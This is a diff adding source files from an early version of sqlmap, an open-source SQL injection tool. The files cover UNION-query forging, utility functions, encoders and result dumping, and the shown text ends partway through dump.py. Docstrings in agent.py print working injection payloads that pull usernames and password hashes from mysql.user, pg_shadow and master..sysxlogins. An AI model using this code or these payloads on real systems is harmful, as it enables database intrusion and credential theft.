AS CHARACTER(10000)), ' ')||'LkhmuP' FROM pg_shadow + + Oracle input: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS' + Oracle output: 'GdBRAo'||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'czEHOf'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')||'JVlYgS' FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS' + + Microsoft SQL Server input: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins + Microsoft SQL Server output: 'QQMQJO'+ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'kAtlqH'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')+'lpEqoi' FROM master..sysxlogins + + @param query: query string to be processed + @type query: C{str} + + @return: query string nulled, casted and concatenated + @rtype: C{str} + """ + + concatQuery = "" + query = query.replace(", ", ",") + + fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCast = self.getFields(query) + castedFields = self.nullCastConcatFields(fieldsToCast) + concatQuery = query.replace(fieldsToCast, castedFields, 1) + + if kb.dbms == "MySQL": + if fieldsSelectFrom: + concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1) + concatQuery = concatQuery.replace(" FROM ", ",'%s') FROM " % temp.stop, 1) + elif fieldsSelect: + concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1) + concatQuery += ",'%s')" % temp.stop + elif fieldsNoSelect: + concatQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatQuery, temp.stop) + + elif kb.dbms in ( "Oracle", "PostgreSQL" ): + if fieldsSelectFrom: + concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1) + concatQuery = concatQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1) + elif fieldsSelect: + concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1) + concatQuery += "||'%s'" % temp.stop + + if kb.dbms == "Oracle": + concatQuery += " FROM DUAL" + elif fieldsNoSelect: + concatQuery = "'%s'||%s||'%s'" % (temp.start, concatQuery, temp.stop) + + if kb.dbms == "Oracle": + concatQuery += " FROM DUAL" + + elif kb.dbms == "Microsoft SQL Server": + if fieldsSelectFrom: + concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1) + concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1) + elif fieldsSelect: + concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1) + concatQuery += "+'%s'" % temp.stop + elif fieldsNoSelect: + concatQuery = "'%s'+%s+'%s'" % (temp.start, concatQuery, temp.stop) + + return concatQuery + + + def forgeInbandQuery(self, query, exprPosition=None): + """ + Take in input an query (pseudo query) string and return its + processed UNION ALL SELECT query. + + Examples: + + MySQL input: CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user + MySQL output: UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488 + + PostgreSQL input: (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)) FROM pg_shadow + PostgreSQL output: UNION ALL SELECT NULL, (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)), NULL FROM pg_shadow-- AND 7133=713 + + Oracle input: (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83)) + Oracle output: UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738 + + Microsoft SQL Server input: (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins + Microsoft SQL Server output: UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254 + + @param query: it is a processed query string unescaped to be + forged within an UNION ALL SELECT statement + @type query: C{str} + + @param exprPosition: it is the NULL position where it is possible + to inject the query + @type exprPosition: C{int} + + @return: UNION ALL SELECT query string forged + @rtype: C{str} + """ + + inbandQuery = self.prefixQuery("UNION ALL SELECT ") + + if not exprPosition: + exprPosition = kb.unionPosition + + if kb.dbms == "Oracle" and inbandQuery.endswith(" FROM DUAL"): + inbandQuery = inbandQuery[:-len(" FROM DUAL")] + + for element in range(kb.unionCount): + if element > 0: + inbandQuery += ", " + + if element == exprPosition: + if " FROM " in query: + conditionIndex = query.rindex(" FROM ") + inbandQuery += "%s" % query[:conditionIndex] + else: + inbandQuery += "%s" % query + else: + inbandQuery += "NULL" + + if " FROM " in query: + conditionIndex = query.rindex(" FROM ") + inbandQuery += "%s" % query[conditionIndex:] + + if kb.dbms == "Oracle": + if " FROM " not in inbandQuery: + inbandQuery += " FROM DUAL" + + if " ORDER BY " in inbandQuery: + orderIndex = inbandQuery.index(" ORDER BY ") + inbandQuery = inbandQuery[:orderIndex] + + inbandQuery = self.postfixQuery(inbandQuery, kb.unionComment) + + return inbandQuery + + +# SQL agent +agent = Agent() diff --git a/lib/core/common.py b/lib/core/common.py new file mode 100644 index 000000000..d4164d810 --- /dev/null +++ b/lib/core/common.py @@ -0,0 +1,549 @@ +#!/usr/bin/env python + +""" +$Id: common.py 368 2008-09-30 00:09:59Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import os +import random +import re +import string +import sys +import time +import urlparse + + +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import temp +from lib.core.exception import sqlmapFilePathException +from lib.core.data import paths +from lib.core.settings import VERSION_STRING + + +def paramToDict(place, parameters=None): + """ + Split the parameters into names and values, check if these parameters + are within the testable parameters and return in a dictionary. + + @param place: where sqlmap has to work, can be GET, POST or Cookie. + @type place: C{str} + + @param parameters: parameters string in the format for instance + 'p1=v1&p2=v2' (GET and POST) or 'p1=v1;p2=v2' (Cookie). + @type parameters: C{str} + + @return: the parameters in a dictionary. + @rtype: C{str} + """ + + testableParameters = {} + + if conf.parameters.has_key(place) and not parameters: + parameters = conf.parameters[place] + + parameters = parameters.replace(", ", ",") + + if place == "Cookie": + splitParams = parameters.split(";") + else: + splitParams = parameters.split("&") + + for element in splitParams: + elem = element.split("=") + + if len(elem) == 2: + parameter = elem[0] + + condition = not conf.testParameter + condition |= parameter in conf.testParameter + + if condition: + value = elem[1] + if value: + testableParameters[parameter] = value + + if conf.testParameter and not testableParameters: + paramStr = ", ".join(test for test in conf.testParameter) + + if len(conf.testParameter) > 1: + warnMsg = "the testable parameters '%s' " % paramStr + warnMsg += "you provided are not into the %s" % place + else: + parameter = conf.testParameter[0] + + warnMsg = "the testable parameter '%s' " % paramStr + warnMsg += "you provided is not into the %s" % place + + if conf.googleDork: + warnMsg += ", skipping to next url" + + logger.warn(warnMsg) + + elif len(conf.testParameter) != len(testableParameters.keys()): + for parameter in conf.testParameter: + if not testableParameters.has_key(parameter): + warnMsg = "the testable parameter '%s' " % parameter + warnMsg += "you provided is not into the %s" % place + logger.warn(warnMsg) + + return testableParameters + + +def formatFingerprint(versions=None): + """ + This function format the back-end DBMS fingerprint value and return its + values formatted as a human readable string. + + @return: detected back-end DBMS based upon fingerprint techniques. + @rtype: C{str} + """ + + if not versions: + versions = kb.dbmsVersion + + if isinstance(versions, str): + return "%s %s" % (kb.dbms, versions) + elif isinstance(versions, (list, set, tuple)): + return "%s %s" % (kb.dbms, " and ".join([version for version in versions])) + + +def getHtmlErrorFp(): + """ + This function parses the knowledge base htmlFp list and return its + values formatted as a human readable string. + + @return: list of possible back-end DBMS based upon error messages + parsing. + @rtype: C{str} + """ + + htmlParsed = "" + + if not kb.htmlFp: + return None + + if len(kb.htmlFp) == 1: + htmlVer = kb.htmlFp[0] + htmlParsed = htmlVer + elif len(kb.htmlFp) > 1: + htmlParsed = "or ".join([htmlFp for htmlFp in kb.htmlFp]) + + return htmlParsed + + +def getDocRoot(): + """ + This method returns the web application document root based on the + detected absolute files paths in the knowledge base. + """ + + docRoot = None + + if kb.absFilePaths: + logMsg = "retrieved the possible injectable " + logMsg += "file absolute system paths: " + logMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths) + logger.info(logMsg) + else: + warnMsg = "unable to retrieve the injectable file " + warnMsg += "absolute system path" + logger.warn(warnMsg) + + for absFilePath in kb.absFilePaths: + if conf.path in absFilePath: + index = absFilePath.index(conf.path) + docRoot = absFilePath[:index] + break + + if docRoot: + logMsg = "retrieved the remote web server " + logMsg += "document root: '%s'" % docRoot + logger.info(logMsg) + else: + warnMsg = "unable to retrieve the remote web server " + warnMsg += "document root" + logger.warn(warnMsg) + + return docRoot + + +def getDirectories(): + """ + This method calls a function that returns the web application document + root and injectable file absolute system path. + + @return: a set of paths (document root and absolute system path). + @rtype: C{set} + @todo: replace this function with a site crawling functionality. + """ + + directories = set() + + kb.docRoot = getDocRoot() + + if kb.docRoot: + directories.add(kb.docRoot) + + pagePath = re.search('^/(.*)/', conf.path) + + if kb.docRoot and pagePath: + pagePath = pagePath.groups()[0] + + directories.add("%s/%s" % (kb.docRoot, pagePath)) + + return directories + + +def filePathToString(filePath): + string = filePath.replace("/", "_").replace("\\", "_") + string = string.replace(" ", "_").replace(":", "_") + + return string + + +def dataToStdout(data): + sys.stdout.write(data) + sys.stdout.flush() + + +def dataToSessionFile(data): + conf.sessionFP.write(data) + conf.sessionFP.flush() + + +def dataToDumpFile(dumpFile, data): + dumpFile.write(data) + dumpFile.flush() + + +def strToHex(string): + """ + @param string: string to be converted into its hexadecimal value. + @type string: C{str} + + @return: the hexadecimal converted string. + @rtype: C{str} + """ + + hexStr = "" + + for character in string: + if character == "\n": + character = " " + + hexChar = "%2x" % ord(character) + hexChar = hexChar.replace(" ", "0") + hexChar = hexChar.upper() + + hexStr += hexChar + + return hexStr + + +def fileToStr(fileName): + """ + @param fileName: file path to read the content and return as a no + NEWLINE string. + @type fileName: C{file.open} + + @return: the file content as a string without TAB and NEWLINE. + @rtype: C{str} + """ + + filePointer = open(fileName, "r") + fileText = filePointer.read() + + fileText = fileText.replace(" ", "") + fileText = fileText.replace("\t", "") + fileText = fileText.replace("\r", "") + fileText = fileText.replace("\n", " ") + + return fileText + + +def fileToHex(fileName): + """ + @param fileName: file path to read the content and return as an + hexadecimal string. + @type fileName: C{file.open} + + @return: the file content as an hexadecimal string. + @rtype: C{str} + """ + + fileText = fileToStr(fileName) + hexFile = strToHex(fileText) + + return hexFile + + +def readInput(message, default=None): + """ + @param message: message to display on terminal. + @type message: C{str} + + @return: a string read from keyboard as input. + @rtype: C{str} + """ + + if conf.batch and default: + infoMsg = "%s%s" % (message, str(default)) + logger.info(infoMsg) + + debugMsg = "used the default behaviour, running in batch mode" + logger.debug(debugMsg) + + data = default + else: + data = raw_input("[%s] [INPUT] %s" % (time.strftime("%X"), message)) + + return data + + +def randomRange(start=0, stop=1000): + """ + @param start: starting number. + @type start: C{int} + + @param stop: last number. + @type stop: C{int} + + @return: a random number within the range. + @rtype: C{int} + """ + + return int(random.randint(start, stop)) + + +def randomInt(length=4): + """ + @param length: length of the random string. + @type length: C{int} + + @return: a random string of digits. + @rtype: C{str} + """ + + return int("".join([random.choice(string.digits) for _ in xrange(0, length)])) + + +def randomStr(length=5): + """ + @param length: length of the random string. + @type length: C{int} + + @return: a random string of characters. + @rtype: C{str} + """ + + return "".join([random.choice(string.letters) for _ in xrange(0, length)]) + + +def sanitizeStr(string): + """ + @param string: string to sanitize: cast to str datatype and replace + newlines with one space and strip carriage returns. + @type string: C{str} + + @return: sanitized string + @rtype: C{str} + """ + + cleanString = str(string) + cleanString = cleanString.replace("\n", " ").replace("\r", "") + + return cleanString + + +def checkFile(filename): + """ + @param filename: filename to check if it exists. + @type filename: C{str} + """ + + if not os.path.exists(filename): + raise sqlmapFilePathException, "unable to read file '%s'" % filename + + +def replaceNewlineTabs(string): + replacedString = string.replace("\n", "__NEWLINE__").replace("\t", "__TAB__") + replacedString = replacedString.replace(temp.delimiter, "__DEL__") + + return replacedString + + +def banner(): + """ + This function prints sqlmap banner with its version + """ + + print """ + %s coded by Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + """ % VERSION_STRING + + +def parsePasswordHash(password): + blank = " " * 8 + + if not password or password == " ": + password = "NULL" + + if kb.dbms == "Microsoft SQL Server" and password != "NULL": + hexPassword = password + password = "%s\n" % hexPassword + password += "%sheader: %s\n" % (blank, hexPassword[:6]) + password += "%ssalt: %s\n" % (blank, hexPassword[6:14]) + password += "%smixedcase: %s\n" % (blank, hexPassword[14:54]) + + if kb.dbmsVersion[0] not in ( "2005", "2008" ): + password += "%suppercase: %s" % (blank, hexPassword[54:]) + + return password + + +def cleanQuery(query): + upperQuery = query.replace("select ", "SELECT ") + upperQuery = upperQuery.replace(" from ", " FROM ") + upperQuery = upperQuery.replace(" limit ", " LIMIT ") + upperQuery = upperQuery.replace(" offset ", " OFFSET ") + upperQuery = upperQuery.replace(" order by ", " ORDER BY ") + upperQuery = upperQuery.replace(" group by ", " GROUP BY ") + upperQuery = upperQuery.replace(" union all ", " UNION ALL ") + + return upperQuery + + +def setPaths(): + # sqlmap paths + paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH + paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH + paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH + paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH + paths.SQLMAP_DUMP_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/dump" + paths.SQLMAP_FILES_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/files" + + # sqlmap files + paths.SQLMAP_HISTORY = "%s/.sqlmap_history" % paths.SQLMAP_ROOT_PATH + paths.SQLMAP_CONFIG = "%s/sqlmap-%s.conf" % (paths.SQLMAP_ROOT_PATH, randomStr()) + paths.FUZZ_VECTORS = "%s/fuzz_vectors.txt" % paths.SQLMAP_TXT_PATH + paths.ERRORS_XML = "%s/errors.xml" % paths.SQLMAP_XML_PATH + paths.MSSQL_XML = "%s/mssql.xml" % paths.SQLMAP_XML_PATH + paths.QUERIES_XML = "%s/queries.xml" % paths.SQLMAP_XML_PATH + + +def weAreFrozen(): + """ + Returns whether we are frozen via py2exe. + This will affect how we find out where we are located. + Reference: http://www.py2exe.org/index.cgi/WhereAmI + """ + + return hasattr(sys, "frozen") + + +def parseTargetUrl(): + """ + Parse target url and set some attributes into the configuration + singleton. + """ + + if not conf.url: + return + + if not re.search("^http[s]*://", conf.url): + if ":443/" in conf.url: + conf.url = "https://" + conf.url + else: + conf.url = "http://" + conf.url + + __urlSplit = urlparse.urlsplit(conf.url) + __hostnamePort = __urlSplit[1].split(":") + + conf.scheme = __urlSplit[0] + conf.path = __urlSplit[2] + conf.hostname = __hostnamePort[0] + + if len(__hostnamePort) == 2: + conf.port = int(__hostnamePort[1]) + elif conf.scheme == "https": + conf.port = 443 + else: + conf.port = 80 + + if __urlSplit[3]: + conf.parameters["GET"] = __urlSplit[3] + + conf.url = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, conf.path) + + +def expandAsteriskForColumns(expression): + # If the user provided an asterisk rather than the column(s) + # name, sqlmap will retrieve the columns itself and reprocess + # the SQL query string (expression) + asterisk = re.search("^SELECT\s+\*\s+FROM\s+(\w+)[\.]+(\w+)\s*", expression, re.I) + + if asterisk: + infoMsg = "you did not provide the fields in your query. " + infoMsg += "sqlmap will retrieve the column names itself" + logger.info(infoMsg) + + conf.db = asterisk.group(1) + conf.tbl = asterisk.group(2) + columnsDict = conf.dbmsHandler.getColumns(onlyColNames=True) + + if columnsDict and conf.db in columnsDict and conf.tbl in columnsDict[conf.db]: + columns = columnsDict[conf.db][conf.tbl].keys() + columns.sort() + columnsStr = ", ".join([column for column in columns]) + expression = expression.replace("*", columnsStr, 1) + + infoMsg = "the query with column names is: " + infoMsg += "%s" % expression + logger.info(infoMsg) + + return expression + + +def getRange(count, dump=False): + count = int(count) + indexRange = None + limitStart = 1 + limitStop = count + + if dump: + if isinstance(conf.limitStop, int) and conf.limitStop < count: + limitStop = conf.limitStop + + if isinstance(conf.limitStart, int) and conf.limitStart <= limitStop: + limitStart = conf.limitStart + + # TODO: also for Microsoft SQL Server in getColumns method? + if kb.dbms == "Oracle": + indexRange = range(limitStart, limitStop + 1) + else: + indexRange = range(limitStart - 1, limitStop) + + return indexRange diff --git a/lib/core/convert.py b/lib/core/convert.py new file mode 100644 index 000000000..d0d0cfae3 --- /dev/null +++ b/lib/core/convert.py @@ -0,0 +1,82 @@ +#!/usr/bin/env python + +""" +$Id: convert.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import md5 +import sha +import struct +import urllib + + +def base64decode(string): + return string.decode("base64") + + +def base64encode(string): + return string.encode("base64")[:-1] + + +def hexdecode(string): + string = string.lower() + + if string.startswith("0x"): + string = string[2:] + + return string.decode("hex") + + +def hexencode(string): + return string.encode("hex") + + +def md5hash(string): + return md5.new(string).hexdigest() + + +def orddecode(string): + packedString = struct.pack("!"+"I" * len(string), *string) + return "".join([chr(char) for char in struct.unpack("!"+"I"*(len(packedString)/4), packedString)]) + + +def ordencode(string): + return tuple([ord(char) for char in string]) + + +def sha1hash(string): + return sha.new(string).hexdigest() + + +def urldecode(string): + if not string: + return + + return urllib.unquote_plus(string) + + +def urlencode(string, safe=":/?%&="): + if not string: + return + + return urllib.quote(string, safe) diff --git a/lib/core/data.py b/lib/core/data.py new file mode 100644 index 000000000..c10507515 --- /dev/null +++ b/lib/core/data.py @@ -0,0 +1,48 @@ +#!/usr/bin/env python + +""" +$Id: data.py 247 2008-07-19 23:07:26Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from lib.core.datatype import advancedDict +from lib.core.settings import LOGGER + +# sqlmap paths +paths = advancedDict() + +# object to share within function and classes command +# line options and settings +conf = advancedDict() + +# object to share within function and classes results +kb = advancedDict() + +# object to share within function and classes temporary data, +# just for internal use +temp = advancedDict() + +# object with each database management system specific queries +queries = {} + +# logger +logger = LOGGER diff --git a/lib/core/datatype.py b/lib/core/datatype.py new file mode 100644 index 000000000..0e9afceba --- /dev/null +++ b/lib/core/datatype.py @@ -0,0 +1,77 @@ +#!/usr/bin/env python + +""" +$Id: datatype.py 316 2008-08-03 22:56:20Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + +from lib.core.exception import sqlmapDataException + + +class advancedDict(dict): + """ + This class defines the sqlmap object, inheriting from Python data + type dictionary. + """ + + def __init__(self, indict=None, attribute=None): + if indict is None: + indict = {} + + # Set any attributes here - before initialisation + # these remain as normal attributes + self.attribute = attribute + dict.__init__(self, indict) + self.__initialised = True + + # After initialisation, setting attributes + # is the same as setting an item + + + def __getattr__(self, item): + """ + Maps values to attributes + Only called if there *is NOT* an attribute with this name + """ + + try: + return self.__getitem__(item) + except KeyError: + raise sqlmapDataException, "Unable to access item '%s'" % item + + + def __setattr__(self, item, value): + """ + Maps attributes to values + Only if we are initialised + """ + + # This test allows attributes to be set in the __init__ method + if not self.__dict__.has_key('_advancedDict__initialised'): + return dict.__setattr__(self, item, value) + + # Any normal attributes are handled normally + elif self.__dict__.has_key(item): + dict.__setattr__(self, item, value) + + else: + self.__setitem__(item, value) + diff --git a/lib/core/dump.py b/lib/core/dump.py new file mode 100644 index 000000000..678ac5877 --- /dev/null +++ b/lib/core/dump.py @@ -0,0 +1,307 @@ +#!/usr/bin/env python + +""" +$Id: dump.py 360M 2008-10-15 00:04:47Z (local) $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import re +import os + +from lib.core.common import dataToDumpFile +from lib.core.common import filePathToString +from lib.core.data import conf +from lib.core.data import logger + + +class Dump: + """ + This class defines methods used to parse and output the results + of SQL injection actions + + """ + + def __init__(self): + self.__outputFile = None + self.__outputFP = None + + + def __write(self, data, n=True, rFile=False): + if n: + print data + self.__outputFP.write("%s\n" % data) + + # TODO: do not duplicate queries output in the text file, check + # before if the data is already within the text file content + if rFile and conf.rFile: + rFile = filePathToString(conf.rFile) + rFileFP = open("%s%s%s" % (conf.filePath, os.sep, rFile), "w") + rFileFP.write(data) + rFileFP.close() + else: + print data, + self.__outputFP.write("%s " % data) + + self.__outputFP.flush() + + conf.loggedToOut = True + + + def setOutputFile(self): + self.__outputFile = "%s%slog" % (conf.outputPath, os.sep) + self.__outputFP = open(self.__outputFile, "a") + + + def string(self, header, data): + if isinstance(data, (list, tuple, set)): + self.lister(header, data) + + return + + if data: + data = data.replace("__NEWLINE__", "\n").replace("__TAB__", "\t") + data = data.replace("__START__", "").replace("__STOP__", "") + data = data.replace("__DEL__", ", ") + + if "\n" in data: + self.__write("%s:\n---\n%s---\n" % (header, data), rFile=header) + else: + self.__write("%s: '%s'\n" % (header, data)) + else: + self.__write("%s:\tNone\n" % header) + + + def lister(self, header, elements): + self.__write("%s [%d]:" % (header, len(elements))) + + try: + elements = set(elements) + elements = list(elements) + elements.sort(key=lambda x: x.lower()) + except: + pass + + for element in elements: + if isinstance(element, str): + self.__write("[*] %s" % element) + elif isinstance(element, (list, tuple, set)): + self.__write("[*] " + ", ".join(e for e in element)) + + self.__write("") + + + def userSettings(self, header, userSettings, subHeader): + self.__areAdmins = set() + + self.__write("%s:" % header) + + if isinstance(userSettings, (tuple, list, set)): + self.__areAdmins = userSettings[1] + userSettings = userSettings[0] + + users = userSettings.keys() + users.sort(key=lambda x: x.lower()) + + for user in users: + settings = userSettings[user] + + if user in self.__areAdmins: + self.__write("[*] %s (administrator) [%d]:" % (user, len(settings))) + else: + self.__write("[*] %s [%d]:" % (user, len(settings))) + + settings.sort() + + for setting in settings: + self.__write(" %s: %s" % (subHeader, setting)) + print + + + def dbTables(self, dbTables): + maxlength = 0 + + for tables in dbTables.values(): + for table in tables: + maxlength = max(maxlength, len(table)) + + lines = "-" * (int(maxlength) + 2) + + for db, tables in dbTables.items(): + tables.sort(key=lambda x: x.lower()) + + self.__write("Database: %s" % db) + + if len(tables) == 1: + self.__write("[1 table]") + else: + self.__write("[%d tables]" % len(tables)) + + self.__write("+%s+" % lines) + + for table in tables: + blank = " " * (maxlength - len(table)) + self.__write("| %s%s |" % (table, blank)) + + self.__write("+%s+\n" % lines) + + + def dbTableColumns(self, tableColumns): + for db, tables in tableColumns.items(): + if not db: + db = "All" + + for table, columns in tables.items(): + maxlength1 = 0 + maxlength2 = 0 + + colList = columns.keys() + colList.sort(key=lambda x: x.lower()) + + for column in colList: + colType = columns[column] + maxlength1 = max(maxlength1, len(column)) + maxlength2 = max(maxlength2, len(colType)) + + maxlength1 = max(maxlength1, len("COLUMN")) + maxlength2 = max(maxlength2, len("TYPE")) + lines1 = "-" * (int(maxlength1) + 2) + lines2 = "-" * (int(maxlength2) + 2) + + self.__write("Database: %s\nTable: %s" % (db, table)) + + if len(columns) == 1: + self.__write("[1 column]") + else: + self.__write("[%d columns]" % len(columns)) + + self.__write("+%s+%s+" % (lines1, lines2)) + + blank1 = " " * (maxlength1 - len("COLUMN")) + blank2 = " " * (maxlength2 - len("TYPE")) + + self.__write("| Column%s | Type%s |" % (blank1, blank2)) + self.__write("+%s+%s+" % (lines1, lines2)) + + for column in colList: + colType = columns[column] + blank1 = " " * (maxlength1 - len(column)) + blank2 = " " * (maxlength2 - len(colType)) + self.__write("| %s%s | %s%s |" % (column, blank1, colType, blank2)) + + self.__write("+%s+%s+\n" % (lines1, lines2)) + + + def dbTableValues(self, tableValues): + db = tableValues["__infos__"]["db"] + if not db: + db = "All" + table = tableValues["__infos__"]["table"] + + if not conf.googleDork: + dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep, db) + + if not 